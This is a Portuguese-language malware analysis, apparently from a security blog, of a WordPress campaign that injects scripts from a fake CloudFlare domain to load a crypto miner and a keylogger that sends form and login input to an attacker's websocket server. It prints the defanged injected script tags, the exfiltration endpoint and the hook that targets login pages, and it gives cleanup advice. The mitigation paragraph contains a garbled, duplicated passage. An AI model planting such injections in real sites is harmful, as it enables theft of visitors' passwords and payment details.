Atualização do dia 8 de dezembro de 2017: O domínio cloudflare[.]solutions foi tirado do ar.
Há algumas semanas, escrevemos sobre uma infecção massiva no WordPress que injetava um script ofuscado que se passava por jQuery e por Google Analytics. Na verdade, esse script carregava um minerador de criptomoedas CoinHive a partir de um servidor de terceiros.
Também havíamos mencionado um artigo escrito em abril que descreve o cloudflare.solutions malware que estava junto com os criptomineradores. Atualmente, PublcWWW relata que há 5.482 sites infectados com esse malware. Parece-nos que essa campanha está evoluindo, com a entrada de keyloggers na jogada.
Scripts Cloudflare[.]solutions Injetados
A parte injetada do malware não mudou, usando o function.php do tema para fazer enqueue dos seguintes scripts para páginas do WordPress:
<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js'></script> <script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js'></script>
Os URLs do script também são os mesmos. No entanto, usam um domínio falso do CloudFlare. O primeiro (reconnecting-websocket.js) ainda carrega uma cópia da biblioteca legítima ReconnectingWebSocket.
O Que Mudou Desde Abril?
A primeira mudança é a página principal deste domínio que agora diz:
“Este servidor faz parte de um projeto científico experimental de algoritmos de aprendizado de máquinas”
ao invés de
“Este servidor é parte de uma Rede de Distribuição do Cloudflare.”
A segunda mudança é o própriocors.js script. Quando ele é decodificado, não há um código suspeito como as imagens de banner na versão anterior. A única coisa incompleta é que o script carrega o Yandex.Metrika (a alternativa do Yandex para o Google Analytics). Provavelmente é feito para rastrear os sites infectados. O id do Yandex desse script é 43930119 – também pode ser encontrado no código HTML da página principal do domínio.
URLs linter.js Falsas Transformam-se em Keylogger
Depois, pode notar duas URLs cdnjs.cloudflare.com com parâmetros hexadecimais longos:

Desta vez, os nomes de domínios realmente pertencem ao CloudFlare e você pode pensar que é algo legítimo. No entanto, se você verificar o URL https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js, você notará que na verdade ele não existe. Quando você verifica o código usando aquelas linterkey variáveis, perceberá que o cdnjs.cloudflare.com é apenas uma isca e que esses números hexadecimais após o ponto de interrogação nos URLs são os payloads reais. O script decodifica-os e injeta o seguinte resultado em páginas da web:

Como você pode ver, trata-se de um keylogger. Este script adiciona um manipulador a cada campo de input dos sites para mandar seu valor para o hacker (wss://cloudflare[.]solutions:8085/) quando o usuário deixa o campo em questão.
Que tipo de dados podem ser roubados dessa maneira? Uma vez que estamos falando sobre os sites WordPress, esses sites geralmente têm caixas de pesquisa e formulários de comentários. Isso pode não ser tão interessante para os hackers, mas e se o site WordPress tiver alguma funcionalidade de comércio eletrônico e incorporar um formulário de pagamento? Esse cenário permite que um hacker roube os detalhes do pagamento.
E, claro, todo site WordPress possui um formulário de login. Os hackers não se esquecem disso, então eles adicionam esse código que injeta o keylogger cloudflare[.]solutions também na página de login.
add_action('login_enqueue_scripts', 'add_js_scripts' );
A captura de tela abaixo mostra o tráfego do websocket em uma página de login de um site infectado.

Como você pode ver, as senhas e nomes de usuários foram enviados ao servidor cloudflare[.]solutions mesmo após o usuário clicar no botão de “Login”.
Mitigação
Com mencionado, o código malicioso estava no arquivo function.php no tema do WordPress. Você deve remover a função add_js_scripts e todas as add_action clauses que mencionem add_js_scripts. Dada a funcionalidade do keylogger desse malware, você deve considerar todas as senhas do WordPress comprometidas, então a próxima etapa obrigatória da limpeza é mudar as senhas (na verdade é altamente recomendado após qualquer hack do site). Não se esqueça de verificar o seu site para outras infecções também. Muitos sites com oDada, usam a funcionalidade do keylogger deste malware. Você deve considerar todas as senhas do WordPress comprometidas, então a próxima etapa obrigatória da limpeza é mudar as senhas (na verdade é altamente recomendado após qualquer hack do site). Não se esqueça de verificar o seu site para outras infecções também. Muitos sites com o malware também têm scripts criptomineradores coinhive injetados.
Para obter instruções mais detalhadas sobre como limpar e proteger o seu site WordPress leia nosso guia online.
Share Your Comments: